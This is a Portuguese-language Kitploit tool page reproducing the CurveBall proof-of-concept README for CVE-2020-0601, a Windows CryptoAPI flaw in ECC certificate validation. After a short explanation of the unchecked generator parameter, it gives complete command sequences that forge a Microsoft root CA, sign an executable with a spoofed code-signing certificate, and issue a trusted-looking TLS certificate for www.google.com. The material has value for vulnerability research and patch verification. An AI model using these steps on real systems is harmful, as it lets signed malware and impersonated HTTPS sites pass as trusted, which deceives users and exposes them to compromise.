Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CurveBall — PoC para CVE-2020-0601- Windows CryptoAPI (Crypt32.dll) | Kitploit
Ferramentas/GitHubGitHub/ly4k/curveball
Análise de VulnerabilidadesAnálise de CódigoExploraçãoSegurança WebCriptografiaAprendizado e Educação
GitHubly4k/curveball

CurveBall

PoC para CVE-2020-0601- Windows CryptoAPI (Crypt32.dll)

Ver Repositório
8892561há 6 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CurveBall (CVE-2020-0601) - PoC

CVE-2020-0601, também conhecida como CurveBall, é uma vulnerabilidade em que a assinatura de certificados que usam criptografia de curva elíptica (ECC) não é verificada corretamente.

A criptografia de curva elíptica (ECC) depende de diferentes parâmetros. Esses parâmetros são padronizados para muitas curvas. No entanto, a Microsoft não verificou todos esses parâmetros. O parâmetro G (o gerador) não era verificado e, portanto, o atacante pode fornecer seu próprio gerador, de modo que, quando a Microsoft tenta validar o certificado contra uma CA confiável, ela apenas procura chaves públicas correspondentes e então usa o gerador do certificado. A NSA explica o impacto desta vulnerabilidade e muito mais aqui.

MicrosoftECCProductRootCertificateAuthority.cer é, por padrão, uma autoridade certificadora raiz (CA) confiável que usa ECC no Windows 10. Qualquer coisa assinada com este certificado será, portanto, automaticamente confiável.

Requisitos mínimos openssl 1.1.0 ruby 2.4.0

Detalhes matemáticos

Se você estiver interessado nos detalhes matemáticos da vulnerabilidade, leia mais aqui.

Para falsificar o certificado, definimos os seguintes parâmetros:

root@kitploit:~
d' = 1
G' = Q
Baixar ferramenta

De modo que Q = Q' = d'G'.

Uso

Crie um certificado com a mesma chave pública e os mesmos parâmetros de uma CA confiável. Ele será usado como nossa CA falsificada. Defina o gerador para um valor do qual você conheça a chave privada. Você pode facilmente definir o gerador como a chave pública e ter uma chave privada definida como 1, já que Q = dG.

Em seguida, crie uma solicitação de assinatura de certificado com as extensões que deseja usar, por exemplo, assinatura de código ou autenticação de servidor.

Assine esta solicitação de certificado com sua CA falsificada e a chave da CA, e adicione as extensões de uso.

Empacote a solicitação de certificado assinada (agora um certificado comum) com a CA falsificada, e você terá um certificado assinado e confiável.

Quando o Windows verifica se o certificado é confiável, ele verá que o certificado foi assinado pela nossa CA falsificada. Em seguida, ele analisa a chave pública da CA falsificada para compará-la com as CAs confiáveis. Depois, ele simplesmente verifica a assinatura da nossa CA falsificada com o gerador da CA falsificada - esse é o problema.

Se você optar por abrir seu novo certificado assinado e confiável no Windows, ele não o reconhecerá como confiável, pois ele não foi vinculado a nada; portanto, ele não usará a CA falsificada. O certificado deve sempre se apresentar junto com a CA falsificada.

Assinatura de Código

Use isto apenas para fins educacionais e de pesquisa.

Extraia a chave pública da CA e modifique-a de acordo com a vulnerabilidade:

root@kitploit:~
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

Gere um novo certificado x509 com base nesta chave. Este será a nossa própria CA falsificada.

root@kitploit:~
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

Gere uma nova chave. Esta chave pode ser de qualquer tipo que você desejar. Ela será usada para criar um certificado de assinatura de código, que assinaremos com a nossa própria CA.

root@kitploit:~
openssl ecparam -name secp384r1 -genkey -noout -out cert.key

Em seguida, crie uma nova solicitação de assinatura de certificado (CSR). Essa solicitação normalmente é enviada a CAs confiáveis, mas, como temos uma CA falsificada, podemos assiná-la nós mesmos.

root@kitploit:~
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs

Assine sua nova CSR com nossa CA falsificada e a chave da CA. Este certificado expirará em 2047, enquanto a CA confiável real da Microsoft expirará em 2043.

root@kitploit:~
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs

A única coisa que resta é empacotar o certificado, sua chave e a CA falsificada em um arquivo PKCS12 para assinar executáveis.

root@kitploit:~
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12

Assine seu executável com o arquivo PKCS12.

root@kitploit:~
osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in 7z1900-x64.exe -out 7z1900-x64_signed.exe

SSL/TLS

Use isto apenas para fins educacionais e de pesquisa.

Extraia a chave pública da CA e modifique-a de acordo com a vulnerabilidade:

root@kitploit:~
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

Gere um novo certificado x509 com base nesta chave. Este será a nossa própria CA falsificada.

root@kitploit:~
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

Gere uma nova chave. Esta chave pode ser de qualquer tipo que você desejar. Ela será usada para criar um certificado SSL, que assinaremos com a nossa própria CA.

root@kitploit:~
openssl ecparam -name secp384r1 -genkey -noout -out cert.key

Em seguida, crie uma nova solicitação de assinatura de certificado (CSR). Essa solicitação normalmente é enviada a CAs confiáveis, mas, como temos uma CA falsificada, podemos assiná-la nós mesmos.

Se você desejar alterar o nome de domínio, edite CN = www.google.com para CN = www.example.com dentro de openssl_tls.conf.

root@kitploit:~
openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls

Assine sua nova CSR com nossa CA falsificada e a chave da CA. Este certificado expirará em 2047, enquanto a CA confiável real da Microsoft expirará em 2043.

root@kitploit:~
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls

Agora você pode usar cert.crt, cert.key e spoofed_ca.crt para servir seu conteúdo. Novamente, lembre-se de adicionar o spoofed_ca.crt como uma cadeia de certificados na configuração HTTPS do seu servidor.

Veja o exemplo de uso em tls/index.js.